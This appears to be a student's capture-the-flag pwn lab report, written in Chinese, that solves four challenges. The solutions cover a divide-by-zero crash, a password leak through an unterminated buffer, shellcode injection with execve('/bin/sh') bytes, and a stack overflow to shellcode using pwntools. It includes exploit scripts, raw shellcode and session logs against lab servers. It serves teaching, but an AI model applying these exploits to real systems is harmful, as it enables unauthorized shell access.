# Pwn_Lab1 Report

## Task1

本题的程序为一个进制转换题，观察原代码可知，当进制数为0时，程序就会崩溃。所以只需要输入进制为0，即可得到正确的flag

```
root@LAPTOP-78LSF82F:~# nc 10.194.164.30 49894
Input your decimal number: 1111111
What do you want to turn it into: 0
Result: Floating point exception (core dumped)
------------------------------------

Cool program crashed with status 34816
your flag: AAA{pr0GraM_C4n_ea5ilY_crAsH}
```

AAA{pr0GraM_C4n_ea5ilY_crAsH}

## Task2

显然这道题分为user和admin两部分。对于user部分，我们需要构造32位的密码，当输入为32字节时，程序就会在结尾输出特殊的输出

```
root@LAPTOP-78LSF82F:/mnt/d/ctf/summer_course/pwn_lab1/loginme/attachments/attachments/support# ./login_me
Hello there, please input your username
user
Hello user, please tell me the length of your password
32
cool, input your password
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
What's wrong with you? Are you a hacker?
----------------- LOG -----------------
you input name as user (len 4)
you input password as AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAI_am_very_very_strong_password!! (len 64)
---------------------------------------
```

显然，多出的这部分长度也为32 再将得到的这串字符作为password写入，却发现显示NULL

```
root@LAPTOP-78LSF82F:/mnt/d/ctf/summer_course/pwn_lab1/loginme/attachments/attachments/support# ./login_me
Hello there, please input your username
user
Hello user, please tell me the length of your password
32
cool, input your password
I_am_very_very_strong_password!!
password correct! show your the first part of flag
flag1: (null)root@LAPTOP-78LSF82F:/mnt/d/ctf/summer_course/pwn_lab1/loginme/attachments/attachments/support#
```

使用python对程序进行接收（此处使用ipynb，发现flag1后面的部分其实就是TESTFLAG。

```
[+] Starting local process './login_me' argv=[b'./login_me'] : pid 10052

In [21]: p.recv()
[DEBUG] Received 0x28 bytes:
    b'Hello there, please input your username\n'
Out[21]: b'Hello there, please input your username\n'

In [22]: p.send(username)
[DEBUG] Sent 0x4 bytes:
    b'user'

In [23]: p.recv()
[DEBUG] Received 0x37 bytes:
    b'Hello user, please tell me the length of your password\n'
Out[23]: b'Hello user, please tell me the length of your password\n'

In [24]: p.sendline(b"32")
[DEBUG] Sent 0x3 bytes:
    b'32\n'

In [25]: p.recv()
[DEBUG] Received 0x1a bytes:
    b'cool, input your password\n'
Out[25]: b'cool, input your password\n'

In [26]: p.sendline(b"I_am_very_very_strong_password!!")
[DEBUG] Sent 0x21 bytes:
    b'I_am_very_very_strong_password!!\n'
[*] Process './login_me' stopped with exit code -14 (SIGALRM) (pid 10052)
```

所以，我们只需要将其在网络端上面再跑一遍，即可得到flag的前半部分

```
root@LAPTOP-78LSF82F:/mnt/d/ctf/summer_course/pwn_lab1/loginme/attachments/attachments/support# nc 172.28.112.1 65189
Hello there, please input your username
user
Hello user, please tell me the length of your password
32
cool, input your password
I_am_very_very_strong_password!!
password correct! show your the first part of flag
flag1: AAA{Oh_D1rTy_sta
```

而对于admin，我们只需要将在user上做过的部分再做一遍就好，即可得到flag的后半部分。 值得注意的是，连接服务器端时输入的速度一定要快，否则就会卡住。。。

```
root@LAPTOP-78LSF82F:/mnt/d/ctf/summer_course/pwn_lab1/loginme/attachments/attachments/support# nc 172.28.112.1 65189
Hello there, please input your username
admin
Hello admin, please tell me the length of your password
25
cool, input your password
ILovePlayCTFbtwAlsoDota2!
password correct! launch your shell
ls
bin
dev
flag2
lib
lib32
lib64
libexec
login_me
password.txt
cat password.txt
ILovePlayCTFbtwAlsoDota2!
cat flag2
CK_Ne3d_C1a4n}
```

AAA{Oh_D1rTy_staCK_Ne3d_C1a4n}

## Task 3

这个题目实质上是要求我们写五个函数，完成加、减、与、或、异或的操作。只不过我们肯定不能直接用c语言写，需要将其转换成机器码的形式。首先写一个cal函数，实现加法功能，而后将其编译成汇编语言，需要开启o2优化。而后编写python脚本，将其发送至可执行文件中。

```
from pwn import *
context.log_level ='DEBUG'
context.arch = 'x86'
p = process("./inject_me")
```

```
add_code = b"\xf3\x0f\x1e\xfa\x8d\x04\x37\xc3"#此处为加法的汇编指令
p.sendafter(b"Request-1: give me code that performing ADD",add_code)
p.interactive()
```

```
root@LAPTOP-78LSF82F:/mnt/d/ctf/summer_course/pwn_lab1/injectme/attachments# python3 solution.py
[+] Starting local process './inject_me' argv=[b'./inject_me'] : pid 41420
[DEBUG] Received 0xf2 bytes:
    b'Hello there, once you finish the delegate tasks I requested,\n'
    b'I will give you your flag :)\n'
    b'*** DO NOT CHEAT ME, BIG MA IS WATHCING YOU ***\n'
    b'------------------------------------------------------------\n'
    b'Request-1: give me code that performing ADD\n'
[DEBUG] Sent 0x8 bytes:
    00000000  f3 0f 1e fa  8d 04 37 c3                      |····|··7·|
    00000008
[*] Switching to interactive mode

[DEBUG] Received 0x40 bytes:
    b'goooooood, next one\n'
    b'Request-2: give me code that performing SUB\n'
goooooood, next one
Request-2: give me code that performing SUB
$
```

将其余操作的汇编码加上即可得到flag1

```
IPython: attachments/support  C:\Program Files\WSL\wsl.exe
[DEBUG] Received 0x2d bytes:
    b'\n'
    b'Request-3: give me code that performing AND\n'
[DEBUG] Sent 0x9 bytes:
    00000000  f3 0f 1e fa  89 f8 21 f0  c3                  |····|··!·|·|
    00000009
[DEBUG] Received 0x13 bytes:
    b'goooooood, next one'
[DEBUG] Received 0x2c bytes:
    b'\n'
    b'Request-4: give me code that performing OR\n'
[DEBUG] Sent 0x9 bytes:
    00000000  f3 0f 1e fa  89 f8 09 f0  c3                  |····|····|·|
    00000009
[DEBUG] Received 0x14 bytes:
    b'goooooood, fianl one'
[DEBUG] Received 0x2d bytes:
    b'\n'
    b'Request-5: give me code that performing XOR\n'
[DEBUG] Sent 0x9 bytes:
    00000000  f3 0f 1e fa  89 f8 31 f0  c3                  |····|··1·|·|
    00000009
[*] Switching to interactive mode

[DEBUG] Received 0x46 bytes:
    b'Soooooooo wonderful, here is your first part of flag:\n'
    b'AAA{SheL1c0de_T0'
Soooooooo wonderful, here is your first part of flag:
AAA{SheL1c0de_T0[*] Got EOF while reading in interactive
```

这个题目的flag2需要我们构造输入进行注入，从而得到shell。而python中的pwntools自带许多工具，比如shell的指令，以及汇编代码的转换等等，此处我们只需直接调用即可，总体上和flag1的获得差不多。

```
[DEBUG] /usr/bin/x86_64-linux-gnu-as -64 -o /tmp/pwn-asm-xlekhmxd/step2 /tmp/pwn-asm-xlekhmxd/step1
[DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-xlekhmxd/step3 /tmp/pwn-asm-xlekhmxd/step4
[DEBUG] Received 0xf2 bytes:
    b'Hello there, once you finish the delegate tasks I requested,\n'
    b'I will give you your flag :)\n'
    b'*** DO NOT CHEAT ME, BIG MA IS WATHCING YOU ***\n'
    b'------------------------------------------------------------\n'
    b'Request-1: give me code that performing ADD\n'
[DEBUG] Sent 0x30 bytes:
    00000000  6a 68 48 b8  2f 62 69 6e  2f 2f 2f 73  50 48 89 e7  │jhH·│/bin│///s│PH··│
    00000010  68 72 69 01  01 81 34 24  01 01 01 01  31 f6 56 6a  │hri·│··4$│····│1·Vj│
    00000020  08 5e 48 01  e6 56 48 89  e6 31 d2 6a  3b 58 0f 05  │·^H·│·VH·│·1·j│;X··│
    00000030
[*] Switching to interactive mode

$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x58 bytes:
    b'calc\t   inject_me.c\t\t libc.so.6    support\n'
    b'inject_me  ld-linux-x86-64.so.2  solution.py\n'
calc       inject_me.c         libc.so.6    support
inject_me  ld-linux-x86-64.so.2  solution.py
```

```
[*] Switching to interactive mode

$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x30 bytes:
    b'bin\n'
    b'dev\n'
    b'flag2\n'
    b'inject_me\n'
    b'lib\n'
    b'lib32\n'
    b'lib64\n'
    b'libexec\n'
bin
dev
flag2
inject_me
lib
lib32
lib64
libexec
$ cat flag2
[DEBUG] Sent 0xa bytes:
    b'cat flag2\n'
[DEBUG] Received 0x10 bytes:
    b'_9E7_All_F1ag5}\n'
_9E7_All_F1ag5}
[*] Got EOF while reading in interactive
```

AAA{SheL1c0de_T0_9E7_All_F1ag5}

## Task4

本题是栈溢出攻击和shellcode的结合。我们需要在第一步时输入shellcode(直接用python内置的工具生成即可），然后再输入特定字符使得栈溢出。计算可知，所以我们需要48个字符，之后再加上mapaddr，而mapaddr由于是一个随机数生成，好在这个随机数在0-7之间，所以我们可以多尝试几次即可得到结果。最后得知是5。

```
from pwn import *
import random
context.log_level ='DEBUG'
context.arch = 'x86_64'
#p = process('./sbofsc')
p = remote("10.194.164.30","58845")
shellcode = asm(shellcraft.sh())
map_addr = 0x25000
p.sendlineafter(b"what's your name: ", shellcode)
padding = b'A' * 0x48
payload = padding + p64(map_addr)
```

```
    p.sendlineafter(b"try to overflow me~", payload)
    p.interactive()
```

```
[*] Switching to interactive mode

$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x2c bytes:
    b'bin\n'
    b'dev\n'
    b'flag\n'
    b'lib\n'
    b'lib32\n'
    b'lib64\n'
    b'libexec\n'
    b'sbofsc\n'
bin
dev
flag
lib
lib32
lib64
libexec
sbofsc
$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x20 bytes:
    b'AAA{R37_t0_guEs5_shE1Lc0d3_poS}\n'
AAA{R37_t0_guEs5_shE1Lc0d3_poS}
```

AAA{R37_t0_guEs5_shE1Lc0d3_poS}